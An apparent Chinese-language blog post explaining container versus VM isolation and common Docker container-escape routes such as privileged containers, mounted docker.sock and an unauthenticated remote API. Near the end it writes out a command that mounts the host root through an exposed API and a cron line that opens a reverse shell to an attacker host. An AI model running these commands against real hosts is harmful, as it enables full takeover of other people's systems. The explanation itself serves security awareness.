Skip to main content

Docker 安全性議題

· 3 min read

容器跟 VM 差在哪、什麼是容器逃逸、還有那些避免容器逃逸的方法。

Container VS VM

容器(Container)和虛擬機(VM)都能達到資源隔離與分配的效果, 但兩者的本質不同。容器是針對作業系統層級的虛擬化, 讓應用程式和其所需的環境可以快速、輕量地被部署與移動;而虛擬機則是針對硬體層級的虛擬化, 將一台實體伺服器切割成多台獨立的虛擬伺服器。

容器技術能讓我們在同樣硬體資源下, 部署更多應用程式, 提升運算效率與資源利用率, 也更適合現代雲端與敏捷開發的需求。

容器逃逸

所謂「容器逃逸」, 是指有心人士利用技術手段, 讓本來應該被隔離的容器突破限制, 進而存取主機系統或其他容器的資源。這種情況可能導致敏感資料外洩, 甚至讓整個系統或服務癱瘓。容器逃逸一直是企業導入容器技術時最關鍵的安全議題之一。

Container escape attack diagram showing how attackers can break out of container isolation

常見的容器逃逸方法

  1. 系統漏洞攻擊: 攻擊者可能利用容器本身或作業系統核心的漏洞, 突破原本的隔離機制, 進而取得主機的控制權。

    System vulnerability attack vector diagram for container exploitation

  2. 不安全的設定

    • 特權容器(Privileged Container): 當容器以 --privileged 參數啟動時, 等同於給予容器主機的最高權限。這種情況下, 攻擊者可以直接在容器內存取主機設備或檔案, 輕易突破隔離。

      Privileged container configuration example showing --privileged flag usage Docker privileged container security implications diagram

    • 不安全掛載(如 docker.sock): 如果將 Docker 的 socket 檔案(docker.sock)掛載到容器內, 等於讓容器擁有操作主機 Docker 的能力。攻擊者可藉此在容器內啟動新的容器, 甚至掛載主機根目錄, 進一步存取主機所有檔案。

      Docker socket mount vulnerability example showing docker.sock exposure risks

    • Docker 遠端 API 未授權存取: Docker 預設只允許本地端透過 socket 溝通, 但如果開啟遠端 API 且沒有控管權限, 攻擊者可遠端建立容器並掛載主機目錄, 甚至植入惡意程式, 取得主機最高權限。

      例如:

      docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash

      這樣就能讓容器直接存取主機所有檔案。

      進一步, 攻擊者還能寫入排程任務, 取得主機的 shell:

      echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root

      只要攻擊端監聽對應的 port, 就能遠端取得主機 root 權限。